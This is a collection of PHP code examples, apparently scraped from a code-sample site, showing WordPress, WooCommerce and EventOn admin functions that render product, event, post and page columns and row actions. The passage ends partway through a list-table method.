/**
         * Ouput custom columns for products
         *
         * @param string $column
         */
        public function render_product_columns($column)
        {
            global $post, $the_product;
            if (empty($the_product) || $the_product->id != $post->ID) {
                $the_product = wc_get_product($post);
            }
            switch ($column) {
                case 'thumb':
                    echo '<a href="' . get_edit_post_link($post->ID) . '">' . $the_product->get_image('post-thumbnail') . '</a>';
                    break;
                case 'name':
                    $edit_link = get_edit_post_link($post->ID);
                    $title = _draft_or_post_title();
                    echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>';
                    _post_states($post);
                    echo '</strong>';
                    if ($post->post_parent > 0) {
                        echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
                    }
                    // Excerpt view
                    if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
                        echo apply_filters('the_excerpt', $post->post_excerpt);
                    }
                    $this->_render_product_row_actions($post, $title);
                    get_inline_data($post);
                    /* Custom inline data for woocommerce */
                    echo '
					<div class="hidden" id="woocommerce_inline_' . $post->ID . '">
						<div class="menu_order">' . $post->menu_order . '</div>
						<div class="sku">' . $the_product->sku . '</div>
						<div class="regular_price">' . $the_product->regular_price . '</div>
						<div class="sale_price">' . $the_product->sale_price . '</div>
						<div class="weight">' . $the_product->weight . '</div>
						<div class="length">' . $the_product->length . '</div>
						<div class="width">' . $the_product->width . '</div>
						<div class="height">' . $the_product->height . '</div>
						<div class="shipping_class">' . $the_product->get_shipping_class() . '</div>
						<div class="visibility">' . $the_product->visibility . '</div>
						<div class="stock_status">' . $the_product->stock_status . '</div>
						<div class="stock">' . $the_product->stock . '</div>
						<div class="manage_stock">' . $the_product->manage_stock . '</div>
						<div class="featured">' . $the_product->featured . '</div>
						<div class="product_type">' . $the_product->product_type . '</div>
						<div class="product_is_virtual">' . $the_product->virtual . '</div>
						<div class="tax_status">' . $the_product->tax_status . '</div>
						<div class="tax_class">' . $the_product->tax_class . '</div>
						<div class="backorders">' . $the_product->backorders . '</div>
					</div>
				';
                    break;
                case 'sku':
                    echo $the_product->get_sku() ? $the_product->get_sku() : '<span class="na">&ndash;</span>';
                    break;
                case 'product_type':
                    if ('grouped' == $the_product->product_type) {
                        echo '<span class="product-type tips grouped" data-tip="' . esc_attr__('Grouped', 'woocommerce') . '"></span>';
                    } elseif ('external' == $the_product->product_type) {
                        echo '<span class="product-type tips external" data-tip="' . esc_attr__('External/Affiliate', 'woocommerce') . '"></span>';
                    } elseif ('simple' == $the_product->product_type) {
                        if ($the_product->is_virtual()) {
                            echo '<span class="product-type tips virtual" data-tip="' . esc_attr__('Virtual', 'woocommerce') . '"></span>';
                        } elseif ($the_product->is_downloadable()) {
                            echo '<span class="product-type tips downloadable" data-tip="' . esc_attr__('Downloadable', 'woocommerce') . '"></span>';
                        } else {
                            echo '<span class="product-type tips simple" data-tip="' . esc_attr__('Simple', 'woocommerce') . '"></span>';
                        }
                    } elseif ('variable' == $the_product->product_type) {
                        echo '<span class="product-type tips variable" data-tip="' . esc_attr__('Variable', 'woocommerce') . '"></span>';
                    } else {
                        // Assuming that we have other types in future
                        echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . ucfirst($the_product->product_type) . '"></span>';
                    }
                    break;
                case 'price':
                    echo $the_product->get_price_html() ? $the_product->get_price_html() : '<span class="na">&ndash;</span>';
                    break;
                case 'product_cat':
                case 'product_tag':
                    if (!($terms = get_the_terms($post->ID, $column))) {
                        echo '<span class="na">&ndash;</span>';
                    } else {
                        $termlist = array();
                        foreach ($terms as $term) {
                            $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=product') . ' ">' . $term->name . '</a>';
                        }
                        echo implode(', ', $termlist);
                    }
                    break;
                case 'featured':
                    $url = wp_nonce_url(admin_url('admin-ajax.php?action=woocommerce_feature_product&product_id=' . $post->ID), 'woocommerce-feature-product');
                    echo '<a href="' . esc_url($url) . '" title="' . __('Toggle featured', 'woocommerce') . '">';
                    if ($the_product->is_featured()) {
                        echo '<span class="wc-featured tips" data-tip="' . esc_attr__('Yes', 'woocommerce') . '">' . __('Yes', 'woocommerce') . '</span>';
                    } else {
                        echo '<span class="wc-featured not-featured tips" data-tip="' . esc_attr__('No', 'woocommerce') . '">' . __('No', 'woocommerce') . '</span>';
                    }
                    echo '</a>';
                    break;
                case 'is_in_stock':
                    if ($the_product->is_in_stock()) {
                        echo '<mark class="instock">' . __('In stock', 'woocommerce') . '</mark>';
                    } else {
                        echo '<mark class="outofstock">' . __('Out of stock', 'woocommerce') . '</mark>';
                    }
                    if ($the_product->managing_stock()) {
                        echo ' &times; ' . $the_product->get_total_stock();
                    }
                    break;
                default:
                    break;
            }
        }
Exemple #2
0
/**
 * Custom Columns for event page
 *
 * @access public
 * @param mixed $column
 * @return void
 */
function eventon_custom_event_columns($column, $post_id)
{
    global $post, $eventon;
    //if ( empty( $ajde_events ) || $ajde_events->id != $post->ID )
    //$ajde_events = get_product( $post );
    $pmv = get_post_custom($post_id);
    switch ($column) {
        case has_filter("evo_column_type_{$column}"):
            $content = apply_filters("evo_column_type_{$column}", $post_id);
            echo $content;
            break;
        case "thumb":
            //echo '<a href="' . get_edit_post_link( $post->ID ) . '">' . $ajde_events->get_image() . '</a>';
            break;
        case "name":
            $edit_link = get_edit_post_link($post->ID);
            $title = _draft_or_post_title();
            $post_type_object = get_post_type_object($post->post_type);
            $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
            echo "<div class='evoevent_item'>";
            $img_src = $eventon->evo_admin->get_image('thumbnail', false);
            $event_color = eventon_get_hex_color($pmv);
            echo '<a class="evoevent_image" href="' . get_edit_post_link($post_id) . '">';
            if ($img_src) {
                echo '<img class="evoEventCirc" src="' . $img_src . '"/>';
            } else {
                echo '<span class="evoEventCirc" style="background-color:' . $event_color . '"></span>';
            }
            echo '</a><div class="evo_item_details">';
            if ($can_edit_post) {
                echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>';
            } else {
                echo '<strong>' . $title . '';
            }
            _post_states($post);
            echo '</strong>';
            if ($post->post_parent > 0) {
                echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
            }
            // Excerpt view
            if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') {
                echo apply_filters('the_excerpt', $post->post_excerpt);
            }
            // Get actions
            $actions = array();
            $actions['id'] = 'ID: ' . $post->ID;
            if ($can_edit_post && 'trash' != $post->post_status) {
                $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
            }
            if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                if ('trash' == $post->post_status) {
                    $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
                } elseif (EMPTY_TRASH_DAYS) {
                    $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
                }
                if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                    $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
                }
            }
            if ($post_type_object->public) {
                if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                    if ($can_edit_post) {
                        $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                    }
                } elseif ('trash' != $post->post_status) {
                    $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                }
            }
            $actions = apply_filters('post_row_actions', $actions, $post);
            echo '<div class="row-actions">';
            $i = 0;
            $action_count = sizeof($actions);
            foreach ($actions as $action => $link) {
                ++$i;
                $i == $action_count ? $sep = '' : ($sep = ' | ');
                echo "<span class='{$action}'>{$link}{$sep}</span>";
            }
            echo '</div>';
            get_inline_data($post);
            $event = $eventon->evo_event->get_event($post->ID);
            //print_r($event);
            /* Custom inline data for eventon */
            echo '<div class="hidden" id="eventon_inline_' . $post->ID . '">';
            foreach ($eventon->evo_event->get_event_fields_edit() as $field) {
                $value = !empty($event->{$field}) ? $event->{$field} : null;
                echo "<div class='{$field}'>{$value}</div>";
            }
            echo "<div class='_menu_order'>" . $post->menu_order . "</div>";
            echo '</div>';
            echo '</div>';
            break;
        case "event_type":
            if (!($terms = get_the_terms($post->ID, $column))) {
                echo '<span class="na">&ndash;</span>';
            } else {
                foreach ($terms as $term) {
                    $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=ajde_events') . ' ">' . $term->name . '</a>';
                }
                echo implode(', ', $termlist);
            }
            break;
        case "event_type_2":
            if (!($terms = get_the_terms($post->ID, $column))) {
                echo '<span class="na">&ndash;</span>';
            } else {
                foreach ($terms as $term) {
                    $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=ajde_events') . ' ">' . $term->name . '</a>';
                }
                echo implode(', ', $termlist);
            }
            break;
        case "event_location":
            $evcal_location = get_post_meta($post->ID, 'evcal_location', true);
            $evcal_location_name = get_post_meta($post->ID, 'evcal_location_name', true);
            echo !empty($evcal_location_name) ? stripslashes($evcal_location_name) . '<br/>' : null;
            echo !empty($evcal_location) ? $evcal_location : '--';
            break;
        case "event_start_date":
            $unix = get_post_meta($post->ID, 'evcal_srow', true);
            if (!empty($unix)) {
                $_START = eventon_get_editevent_kaalaya($unix);
                echo $_START[0] . ' - ' . $_START[1] . ':' . $_START[2] . (!empty($_START[3]) ? $_START[3] : '');
            } else {
                echo "--";
            }
            break;
        case "event_end_date":
            $unix = get_post_meta($post->ID, 'evcal_erow', true);
            if (!empty($unix)) {
                $_END = eventon_get_editevent_kaalaya($unix);
                echo $_END[0] . ' - ' . $_END[1] . ':' . $_END[2] . (!empty($_END[3]) ? $_END[3] : '');
            } else {
                echo "--";
            }
            break;
        case "evo_featured":
            $url = wp_nonce_url(admin_url('admin-ajax.php?action=eventon-feature-event&eventID=' . $post->ID), 'eventon-feature-event');
            echo '<a href="' . $url . '" title="' . __('Toggle featured', 'eventon') . '">';
            if (get_post_meta($post->ID, '_featured', true) == 'yes') {
                echo '<img src="' . AJDE_EVCAL_URL . '/assets/images/icons/featured.png" title="' . __('Yes', 'eventon') . '" height="14" width="14" />';
            } else {
                echo '<img src="' . AJDE_EVCAL_URL . '/assets/images/icons/featured-off.png" title="' . __('No', 'eventon') . '" height="14" width="14" />';
            }
            echo '</a>';
            //echo get_post_meta($post->ID, '_featured', true);
            break;
        case 'repeat':
            $repeat = get_post_meta($post->ID, 'evcal_repeat', true);
            if (!empty($repeat) && $repeat == 'yes') {
                $repeat_freq = get_post_meta($post->ID, 'evcal_rep_freq', true);
                $output_repeat = '<span>' . $repeat_freq . '</span>';
            } else {
                $output_repeat = '<span class="na">&ndash;</span>';
            }
            echo $output_repeat;
            break;
    }
}
function cwp_post_row($a_post, $pending_comments, $mode, $page)
{
    global $post;
    static $rowclass;
    $global_post = $post;
    $post = $a_post;
    setup_postdata($post);
    $rowclass = 'alternate' == $rowclass ? '' : 'alternate';
    $rowclass = apply_filters('cwp_post_row_class', $rowclass, $post, $page);
    global $current_user;
    $post_owner = $current_user->ID == $post->post_author ? 'self' : 'other';
    $edit_link = $page->get_edit_link($post->ID);
    $delete_link = add_query_arg('post', $post->ID, add_query_arg('action', 'delete', $page->get_page_url()));
    $trash_link = wp_nonce_url(add_query_arg('post', $post->ID, add_query_arg('action', 'trash', $page->get_page_url())), "trash-post_" . $post->ID);
    $untrash_link = wp_nonce_url(add_query_arg('post', $post->ID, add_query_arg('action', 'untrash', $page->get_page_url())), "untrash-post_" . $post->ID);
    $title = _draft_or_post_title();
    ?>
	<tr id='post-<?php 
    echo $post->ID;
    ?>
' class='<?php 
    echo trim($rowclass . ' author-' . $post_owner . ' status-' . $post->post_status);
    ?>
 iedit' valign="top">
	<?php 
    $posts_columns = get_column_headers('cwp_manage');
    $hidden = get_hidden_columns('edit');
    foreach ($posts_columns as $column_name => $column_display_name) {
        $class = "class=\"{$column_name} column-{$column_name}\"";
        $style = '';
        if (in_array($column_name, $hidden)) {
            $style = ' style="display:none;"';
        }
        $attributes = "{$class}{$style}";
        switch ($column_name) {
            case 'cb':
                ?>
		<th scope="row" class="check-column"><?php 
                if (current_user_can('edit_post', $post->ID)) {
                    ?>
<input type="checkbox" name="post[]" value="<?php 
                    the_ID();
                    ?>
" /><?php 
                }
                ?>
</th>
		<?php 
                break;
            case 'date':
                if ('0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name) {
                    $t_time = $h_time = __('Unpublished');
                    $time_diff = 0;
                } else {
                    $t_time = get_the_time(__('Y/m/d g:i:s A'));
                    $m_time = $post->post_date;
                    $time = get_post_time('G', true, $post);
                    $time_diff = time() - $time;
                    if ($time_diff > 0 && $time_diff < 24 * 60 * 60) {
                        $h_time = sprintf(__('%s ago'), human_time_diff($time));
                    } else {
                        $h_time = mysql2date(__('Y/m/d'), $m_time);
                    }
                }
                echo '<td ' . $attributes . '>';
                if ('excerpt' == $mode) {
                    echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode);
                } else {
                    echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
                }
                echo '<br />';
                if ('publish' == $post->post_status) {
                    _e('Published');
                } elseif ('future' == $post->post_status) {
                    if ($time_diff > 0) {
                        echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                    } else {
                        _e('Scheduled');
                    }
                } else {
                    _e('Last Modified');
                }
                echo '</td>';
                break;
            case 'title':
                $attributes = 'class="post-title column-title"' . $style;
                ?>
		<td <?php 
                echo $attributes;
                ?>
><strong><?php 
                if (current_user_can('edit_post', $post->ID)) {
                    ?>
<a class="row-title" href="<?php 
                    echo $edit_link;
                    ?>
" title="<?php 
                    echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title));
                    ?>
"><?php 
                    echo $title;
                    ?>
</a><?php 
                } else {
                    echo $title;
                }
                _post_states($post);
                ?>
</strong>
		<?php 
                if ('excerpt' == $mode) {
                    the_excerpt();
                }
                $actions = array();
                if (current_user_can('edit_post', $post->ID)) {
                    $actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this post')) . '">' . __('Edit') . '</a>';
                }
                if (current_user_can('delete_post', $post->ID)) {
                    if ('trash' == $post->post_status) {
                        $actions['untrash'] = "<a title='" . esc_attr(__('Restore this post from the Trash')) . "' href='" . $untrash_link . "'>" . __('Restore') . "</a>";
                    } elseif (EMPTY_TRASH_DAYS) {
                        $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this post to the Trash')) . "' href='" . $trash_link . "'>" . __('Trash') . "</a>";
                    }
                    if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                        $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post permanently')) . "' href='" . wp_nonce_url($delete_link, 'delete-post_' . $post->ID) . "'>" . __('Delete Permanently') . "</a>";
                    }
                }
                /*
                if ( current_user_can('delete_post', $post->ID) ) {
                	$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post')) . "' href='" . wp_nonce_url($delete_link, 'delete-post_' . $post->ID) . "' onclick=\"if ( confirm('" . esc_js(sprintf( ('draft' == $post->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this post '%s'\n 'Cancel' to stop, 'OK' to delete."), $post->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
                }
                */
                if (in_array($post->post_status, array('pending', 'draft'))) {
                    if (current_user_can('edit_post', $post->ID)) {
                        $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                    }
                } else {
                    $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                }
                $actions = apply_filters('post_row_actions', $actions, $post);
                $action_count = count($actions);
                $i = 0;
                echo '<div class="row-actions">';
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo "<span class='{$action}'>{$link}{$sep}</span>";
                }
                echo '</div>';
                get_inline_data($post);
                ?>
		</td>
		<?php 
                break;
            case 'categories':
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                $categories = get_the_category();
                if (!empty($categories)) {
                    $out = array();
                    foreach ($categories as $c) {
                        $out[] = "<a href='edit.php?category_name={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . "</a>";
                    }
                    echo join(', ', $out);
                } else {
                    _e('Uncategorized');
                }
                ?>
</td>
		<?php 
                break;
            case 'tags':
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                $tags = get_the_tags($post->ID);
                if (!empty($tags)) {
                    $out = array();
                    foreach ($tags as $c) {
                        $out[] = "<a href='edit.php?tag={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>";
                    }
                    echo join(', ', $out);
                } else {
                    _e('No Tags');
                }
                ?>
</td>
		<?php 
                break;
            case 'comments':
                ?>
		<td <?php 
                echo $attributes;
                ?>
><div class="post-com-count-wrapper">
		<?php 
                $pending_phrase = sprintf(__('%s pending'), number_format($pending_comments));
                if ($pending_comments) {
                    echo '<strong>';
                }
                comments_number("<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>');
                if ($pending_comments) {
                    echo '</strong>';
                }
                ?>
		</div></td>
		<?php 
                break;
            case 'author':
                ?>
		<td <?php 
                echo $attributes;
                ?>
><a href="edit.php?author=<?php 
                the_author_meta('ID');
                ?>
"><?php 
                the_author();
                ?>
</a></td>
		<?php 
                break;
            case 'control_view':
                ?>
		<td><a href="<?php 
                the_permalink();
                ?>
" rel="permalink" class="view"><?php 
                _e('View');
                ?>
</a></td>
		<?php 
                break;
            case 'control_edit':
                ?>
		<td><?php 
                if (current_user_can('edit_post', $post->ID)) {
                    echo "<a href='{$edit_link}' class='edit'>" . __('Edit') . "</a>";
                }
                ?>
</td>
		<?php 
                break;
            case 'control_delete':
                ?>
		<td><?php 
                if (current_user_can('delete_post', $post->ID)) {
                    echo "<a href='" . wp_nonce_url("post.php?action=delete&amp;post={$id}", 'delete-post_' . $post->ID) . "' class='delete'>" . __('Delete') . "</a>";
                }
                ?>
</td>
		<?php 
                break;
            case is_taxonomy($column_name):
                ?>
			<td <?php 
                echo $attributes;
                ?>
><?php 
                $tags = wp_get_object_terms($post->ID, $column_name);
                if (!empty($tags)) {
                    $out = array();
                    foreach ($tags as $c) {
                        $out[] = "<a href=\"" . $page->get_edit_term_link($column_name, $c) . '">' . $c->name . "</a>";
                    }
                    echo join(', ', $out);
                } else {
                    _e('No ' . $column_display_name);
                }
                ?>
</td>
			<?php 
                break;
            case function_exists($column_name):
                ?>
			
			<td>
			<?php 
                echo call_user_func_array($column_name, array($post));
                ?>
			</td>
			<?php 
                break;
            default:
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                do_action('manage_posts_custom_column', $column_name, $post->ID);
                ?>
</td>
		<?php 
                break;
        }
    }
    ?>
	</tr>
	<?php 
    $post = $global_post;
}
/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $page
 * @param unknown_type $level
 */
function display_page_row( $page, $level = 0 ) {
	global $post;
	static $rowclass;

	$post = $page;
	setup_postdata($page);

	$page->post_title = wp_specialchars( $page->post_title );
	$pad = str_repeat( '&#8212; ', $level );
	$id = (int) $page->ID;
	$rowclass = 'alternate' == $rowclass ? '' : 'alternate';
	$posts_columns = get_column_headers('edit-pages');
	$hidden = get_hidden_columns('edit-pages');
	$title = _draft_or_post_title();
?>
<tr id="page-<?php echo $id; ?>" class="<?php echo $rowclass; ?> iedit">
<?php

foreach ($posts_columns as $column_name=>$column_display_name) {
	$class = "class=\"$column_name column-$column_name\"";

	$style = '';
	if ( in_array($column_name, $hidden) )
		$style = ' style="display:none;"';

	$attributes = "$class$style";

	switch ($column_name) {

	case 'cb':
		?>
		<th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php the_ID(); ?>" /></th>
		<?php
		break;
	case 'date':
		if ( '0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name ) {
			$t_time = $h_time = __('Unpublished');
		} else {
			$t_time = get_the_time(__('Y/m/d g:i:s A'));
			$m_time = $page->post_date;
			$time = get_post_time('G', true);

			if ( ( abs(time() - $time) ) < 86400 ) {
				if ( ( 'future' == $page->post_status) )
					$h_time = sprintf( __('%s from now'), human_time_diff( $time ) );
				else
					$h_time = sprintf( __('%s ago'), human_time_diff( $time ) );
			} else {
				$h_time = mysql2date(__('Y/m/d'), $m_time);
			}
		}
		echo '<td ' . $attributes . '>';
		echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>';
		echo '<br />';
		if ( 'publish' == $page->post_status || 'future' == $page->post_status )
			_e('Published');
		else
			_e('Last Modified');
		echo '</td>';
		break;
	case 'title':
		$attributes = 'class="post-title page-title column-title"' . $style;
		$edit_link = get_edit_post_link( $page->ID );
		?>
		<td <?php echo $attributes ?>><strong><?php if ( current_user_can( 'edit_post', $page->ID ) ) { ?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo attribute_escape(sprintf(__('Edit "%s"'), $title)); ?>"><?php echo $pad; echo $title ?></a><?php } else { echo $pad; echo $title; }; _post_states($page); ?></strong>
		<?php
		$actions = array();
		if ( current_user_can('edit_page', $page->ID) ) {
			$actions['edit'] = '<a href="' . $edit_link . '" title="' . attribute_escape(__('Edit this page')) . '">' . __('Edit') . '</a>';
			$actions['inline'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
			$actions['delete'] = "<a class='submitdelete' title='" . attribute_escape(__('Delete this page')) . "' href='" . wp_nonce_url("page.php?action=delete&amp;post=$page->ID", 'delete-page_' . $page->ID) . "' onclick=\"if ( confirm('" . js_escape(sprintf( ('draft' == $page->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this page '%s'\n 'Cancel' to stop, 'OK' to delete."), $page->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
		}
		if ( in_array($post->post_status, array('pending', 'draft')) ) {
			if ( current_user_can('edit_page', $page->ID) )
				$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . attribute_escape(sprintf(__('Preview "%s"'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
		} else {
			$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . attribute_escape(sprintf(__('View "%s"'), $title)) . '" rel="permalink">' . __('View') . '</a>';
		}
		$action_count = count($actions);

		$i = 0;
		echo '<div class="row-actions">';
		foreach ( $actions as $action => $link ) {
			++$i;
			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
			echo "<span class='$action'>$link$sep</span>";
		}
		echo '</div>';

		get_inline_data($post);
		echo '</td>';
		break;

	case 'comments':
		?>
		<td <?php echo $attributes ?>><div class="post-com-count-wrapper">
		<?php
		$left = get_pending_comments_num( $page->ID );
		$pending_phrase = sprintf( __('%s pending'), number_format( $left ) );
		if ( $left )
			echo '<strong>';
		comments_number("<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('0') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('1') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('%') . '</span></a>');
		if ( $left )
			echo '</strong>';
		?>
		</div></td>
		<?php
		break;

	case 'author':
		?>
		<td <?php echo $attributes ?>><a href="edit-pages.php?author=<?php the_author_ID(); ?>"><?php the_author() ?></a></td>
		<?php
		break;

	default:
		?>
		<td <?php echo $attributes ?>><?php do_action('manage_pages_custom_column', $column_name, $id); ?></td>
		<?php
		break;
	}
}
?>

</tr>

<?php
}
    function single_row($post, $level = 0)
    {
        global $mode;
        static $alternate;
        $global_post = get_post();
        $GLOBALS['post'] = $post;
        setup_postdata($post);
        $edit_link = get_edit_post_link($post->ID);
        $title = _draft_or_post_title();
        $post_type_object = get_post_type_object($post->post_type);
        $can_edit_post = current_user_can('edit_post', $post->ID);
        $alternate = 'alternate' == $alternate ? '' : 'alternate';
        $classes = $alternate . ' iedit author-' . (get_current_user_id() == $post->post_author ? 'self' : 'other');
        $lock_holder = wp_check_post_lock($post->ID);
        if ($lock_holder) {
            $classes .= ' wp-locked';
            $lock_holder = get_userdata($lock_holder);
        }
        ?>
		<tr id="post-<?php 
        echo $post->ID;
        ?>
" class="<?php 
        echo implode(' ', get_post_class($classes, $post->ID));
        ?>
" valign="top">
	<?php 
        list($columns, $hidden) = $this->get_column_info();
        foreach ($columns as $column_name => $column_display_name) {
            $class = "class=\"{$column_name} column-{$column_name}\"";
            $style = '';
            if (in_array($column_name, $hidden)) {
                $style = ' style="display:none;"';
            }
            $attributes = "{$class}{$style}";
            switch ($column_name) {
                case 'cb':
                    ?>
			<th scope="row" class="check-column">
				<?php 
                    if ($can_edit_post) {
                        ?>
				<label class="screen-reader-text" for="cb-select-<?php 
                        the_ID();
                        ?>
"><?php 
                        printf(__('Select %s'), $title);
                        ?>
</label>
				<input id="cb-select-<?php 
                        the_ID();
                        ?>
" type="checkbox" name="post[]" value="<?php 
                        the_ID();
                        ?>
" />
				<div class="locked-indicator"></div>
				<?php 
                    }
                    ?>
			</th>
			<?php 
                    break;
                case 'title':
                    $attributes = 'class="post-title page-title column-title"' . $style;
                    if ($this->hierarchical_display) {
                        if (0 == $level && (int) $post->post_parent > 0) {
                            //sent level 0 by accident, by default, or because we don't know the actual level
                            $find_main_page = (int) $post->post_parent;
                            while ($find_main_page > 0) {
                                $parent = get_post($find_main_page);
                                if (is_null($parent)) {
                                    break;
                                }
                                $level++;
                                $find_main_page = (int) $parent->post_parent;
                                if (!isset($parent_name)) {
                                    /** This filter is documented in wp-includes/post-template.php */
                                    $parent_name = apply_filters('the_title', $parent->post_title, $parent->ID);
                                }
                            }
                        }
                    }
                    $pad = str_repeat('&#8212; ', $level);
                    echo "<td {$attributes}><strong>";
                    if ($format = get_post_format($post->ID)) {
                        $label = get_post_format_string($format);
                        echo '<a href="' . esc_url(add_query_arg(array('post_format' => $format, 'post_type' => $post->post_type), 'edit.php')) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> ";
                    }
                    if ($can_edit_post && $post->post_status != 'trash') {
                        echo '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title)) . '">' . $pad . $title . '</a>';
                    } else {
                        echo $pad . $title;
                    }
                    _post_states($post);
                    if (isset($parent_name)) {
                        echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name);
                    }
                    echo "</strong>\n";
                    if ($can_edit_post && $post->post_status != 'trash') {
                        if ($lock_holder) {
                            $locked_avatar = get_avatar($lock_holder->ID, 18);
                            $locked_text = esc_html(sprintf(__('%s is currently editing'), $lock_holder->display_name));
                        } else {
                            $locked_avatar = $locked_text = '';
                        }
                        echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
                    }
                    if (!$this->hierarchical_display && 'excerpt' == $mode && current_user_can('read_post', $post->ID)) {
                        the_excerpt();
                    }
                    $actions = array();
                    if ($can_edit_post && 'trash' != $post->post_status) {
                        $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                        $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
                    }
                    if (current_user_can('delete_post', $post->ID)) {
                        if ('trash' == $post->post_status) {
                            $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
                        } elseif (EMPTY_TRASH_DAYS) {
